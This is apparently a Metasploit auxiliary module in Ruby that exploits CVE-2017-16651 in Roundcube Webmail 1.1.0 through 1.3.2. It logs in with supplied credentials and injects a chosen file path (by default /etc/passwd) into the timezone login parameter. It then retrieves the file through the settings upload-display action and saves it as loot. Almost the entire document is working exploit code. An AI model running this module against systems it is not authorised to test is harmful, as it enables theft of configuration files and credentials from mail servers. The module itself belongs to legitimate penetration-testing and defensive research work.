Roundcube TimeZone Authenticated File Disclosure

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Roundcube TimeZone Authenticated File Disclosure',  
'Description' => %q{  
Roundcube Webmail allows unauthorized access to arbitrary files on the host's filesystem, including configuration files.  
This affects all versions from 1.1.0 through version 1.3.2. The attacker must be able to authenticate at the target system  
with a valid username/password as the attack requires an active session.  
  
Tested against version 1.3.2  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'joel @ ndepthsecurity', # msf module  
'stonepresto', # EDB Module POC  
'thomascube' # original PoC, analysis  
],  
'References' => [  
[ 'EDB', '49510' ],  
[ 'URL', 'https://gist.github.com/thomascube/3ace32074e23fca0e6510e500bd914a1'],  
[ 'CVE', '2017-16651']  
],  
  
'Targets' => [  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => '2017-11-09',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('USERNAME', [ true, 'Email User to login with', '']),  
OptString.new('PASSWORD', [ true, 'Password to login with', '']),  
OptString.new('TARGETURI', [ true, 'The URI of the Roundcube Application', '/']),  
OptString.new('FILE', [ true, 'The file to read', '/etc/passwd'])  
]  
)  
end  
  
def run  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET',  
'keep_cookies' => true,  
'vars_get' => {  
'_task' => 'login'  
}  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Response Code (response code: #{res.code})") unless res.code == 200  
  
unless res.body =~ /name="_token" value="([^"]+)"/  
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find Token Value")  
end  
  
vprint_good("Token Value: #{Regexp.last_match(1)}")  
  
vprint_status('Attempting login')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path),  
'method' => 'POST',  
'keep_cookies' => true,  
'vars_post' => {  
'_token' => Regexp.last_match(1),  
'_task' => 'login',  
'_action' => 'login',  
'_timezone[files][1][path]' => datastore['FILE'],  
'_url' => '_task=login',  
'_user' => datastore['USERNAME'],  
'_pass' => datastore['PASSWORD']  
},  
'vars_get' => {  
'_task' => 'login'  
}  
)  
  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") unless res.code == 302  
  
vprint_status('Attempting exploit')  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET',  
'vars_get' => {  
'_task' => 'settings',  
'_action' => 'upload-display',  
'_from' => 'timezone',  
'_file' => 'rcmfile1'  
}  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected Response Code (response code: #{res.code})") unless res.code == 200  
print_good(res.body)  
  
store_loot('Roundcube.file', 'text/plain', rhost, res.body, datastore['FILE'])  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
end  
`